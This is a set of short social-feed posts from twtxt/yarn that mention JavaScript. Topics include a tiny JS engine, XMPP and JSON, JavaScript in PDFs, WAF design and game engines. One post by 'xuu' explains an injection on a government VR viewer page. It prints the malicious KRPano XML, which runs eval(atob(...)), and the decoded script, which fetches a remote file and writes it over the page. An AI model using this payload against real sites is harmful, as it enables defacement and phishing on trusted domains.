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phoronix
feeds.twtxt.net
 (4h ago)

Micro QuickJS Engine Compiles & Runs JavaScript With As Little As 10kB Of RAM
Very talented open-source developer Fabrice Bellard who already is well known for his work on QEMU, the Tiny C Compiler, and FFmpeg, has another accomplishment: Micro QuickJS. The Micro QuickJS JavaScript engine can compile and run JavaScript programs with as little as 10 kB of RAM… ⌘ Read more

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Planet_Jabber_XMPP
feeds.twtxt.net
 (4w ago)

ProcessOne: Stop Telling Us XMPP Should Use JSON

Image

We hear this too often: “XMPP uses XML. It should use JSON—it’s more modern.”

The logic seems straightforward: JSON came later, so it must be better. But better for what, exactly?

JSON became successful because it’s the standard serialization format for JavaScript. That made it convenient for browser-based applications.

Does that m … ⌘ Read more

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Oatmeal
feeds.twtxt.net
 (16w ago)

** Answering some questions about Baba Yaga **
My previous post found its way to Hacker News; I don’t have an account there, but a commenter asked a few questions that I thought I could answer in a follow up post.

The evaluation model is strictly call-by-value

Baba Yaga uses call-by-value evaluation, not call-by-need (aka“lazy”).

From the interpreter,

”`hljs javascript
function visitFunctionCall(node) {
const callee = visit(node.callee);

// Arguments ar … ⌘ Read more”`

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prologic
twtxt.net
 (30w ago)
↳ In-reply-to » @kat I don’t like Golang much either, but I am not a programmer. This little site, Go by example might explain a thing or two.

One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:

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prologic
twtxt.net
 (32w ago)

Also spent the morning continuing to think about a new design for EdgeGuard’s WAF. I’m basically going to build an entirely new pluggable WAF that will be designed to only consider Rate Limiting, IP/ASN-based filtering, JavaScript challenge handling, Basic behavioral analysis and Anomaly detection.

The only part of this design I’m not 100% sure about is the Javascript-based challenge handling? 🤔 I’m also considering making this into a “proof of work” requirement too, but I also don’t want to falsely block folks that a) turn Javascript™ off or b) Use a browser like links, elinks or lynx for example.

Hmmm 🧐

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osnews
feeds.twtxt.net
 (39w ago)

Playing multimedia with Dillo
What if you want to use a web browser like Dillo, which lacks JavaScript support and can’t play audio or video inside the browser? Dillo doesn’t have the capability to play audio or video directly from the browser, however it can easily offload this task to other programs. This page collects some examples of how to do watch videos and listen to audio tracks or podcasts by using an external player program. In particular we will cover mpv with yt-dlp which supports YouTube … ⌘ Read more

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osnews
feeds.twtxt.net
 (46w ago)

Run Linux inside a PDF file via a RISC-V emulator
You might expect PDF files to only be comprised of static documents, but surprisingly, the PDF file format supports Javascript with its own separate standard library. Modern browsers (Chromium, Firefox) implement this as part of their PDF engines. However, the APIs that are available in the browser are much more limited. The full specfication for the JS in PDFs was only ever implemented by Adobe Acrobat, and it contains some ridicul … ⌘ Read more

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xuu
txt.sour.is
 (46w ago)

@lyse@lyse.isobeef.org The one in question is more like the javascript version for unwrapping errors when accessing methods.

 const value = some?.deeply?.nested?.object?.value

but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:

b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?

// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?

I am however infavor of having a sort of ternary ? in go.

PS. @prologic@twtxt.net for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?

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osnews
feeds.twtxt.net
 (48w ago)

Google begins requiring JavaScript for Google Search
Google says it has begun requiring users to turn on JavaScript, the widely used programming language to make web pages interactive, in order to use Google Search. In an email to TechCrunch, a company spokesperson claimed that the change is intended to “better protect” Google Search against malicious activity, such as bots and spam, and to improve the overall Google Search experience for users. The spokesperson noted that, with … ⌘ Read more

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xuu
txt.sour.is
 (48w ago)
↳ In-reply-to » Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

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hacker-news-newest
feeds.twtxt.net
 (49w ago)

Show HN: Tetris in a PDF
I realized that the PDF engines of modern desktop browsers (PDFium and PDF.js) support JavaScript with enough I/O primitives to make a basic game like Tetris.

It was a bit tricky to find a union of features that work in both engines, but in the end it turns out that showing/hiding annotation “fields” works well to make monochrome pixels, and keyboard input can be achieved by typing in a text input box.

All in all it’s quite janky but a nice reminder of how general purpose PDF scripting can be. The lin … ⌘ Read more

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kat
yarn.girlonthemoon.xyz
 (50w ago)

morning yarn friends i’ve been playing with astro the SSG and it’s a blast i see why my friends love it and rec it to everyone. i may think javascript was a mistake but this is super cool

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doesnm
doesnm.p.psf.lt
 (1y ago)
↳ In-reply-to » (#aznhzra) @doesnm Agree. salty.im should allow the user to post multiple brokers on their webfinger so the client can find a working path.

Honestly… not much. Have abandon two projects (both private) on Golang and one related to cryptography. My mostly languages are Python and Javascript (also can PHP). After writing code on Go i spend same time on fixing dumb errors

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Oatmeal
feeds.twtxt.net
 (1y ago)

** A playground for sharing scrappy fiddles **
I shared some snippets of JavaScript in a recent blog post and was wicked irked that I didn’t have an easy way to share interactive code on my own thing…so… I made a totally static JavaScript playground for running little experiments and sharing scrappy fiddles!

It is pretty simple — it allows folks to enter and run JavaScript, includes a console so you can easily log thing … ⌘ Read more

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Oatmeal
feeds.twtxt.net
 (1y ago)

** Constants, variable assignment, and pointers **
After reading my last post, a friend asked an interesting question that I thought would also be fun to write about!

They noted that in the reshape function I declared the variable result as a constant. They asked if this was a mistake? Because I was resigning the value iteratively, shouldn’t it be declared using let?

What is happening there is that the constant is being declared as an array, so the reference … ⌘ Read more

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Oatmeal
feeds.twtxt.net
 (1y ago)

** Reshape, in JavaScript and APL **
In APL the rho, ⍴, called reshape is used to both construct arrays of a given shape (dimensionality), and to reconfigure arrays into new shapes.

Sometimes I wish I had reshape in JavaScript…so I wrote it!

Here are two functions that, when combined, a la Captain Planet, can stand in for APL’s reshape in JavaScript.

Ravel is the simpler of the two, it takes an array of any dimension and ret … ⌘ Read more

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phoboslab
feeds.twtxt.net
 (1y ago)

Porting my JavaScript Game Engine to C for No Reason

high_impact

tl;dr: high_impact is small game engine for 2D action games. It’s written in C, compiles to Windows, Mac and Linux as well as to WASM for the Web. It’s “inspired by” my original Impact JavaScript game engine from 2010. The name high_impact is a nod to a time when C was considered a high level language.

MIT licensed, source on github: [github.com/phoboslab/high_impact](https://github … ⌘ Read more

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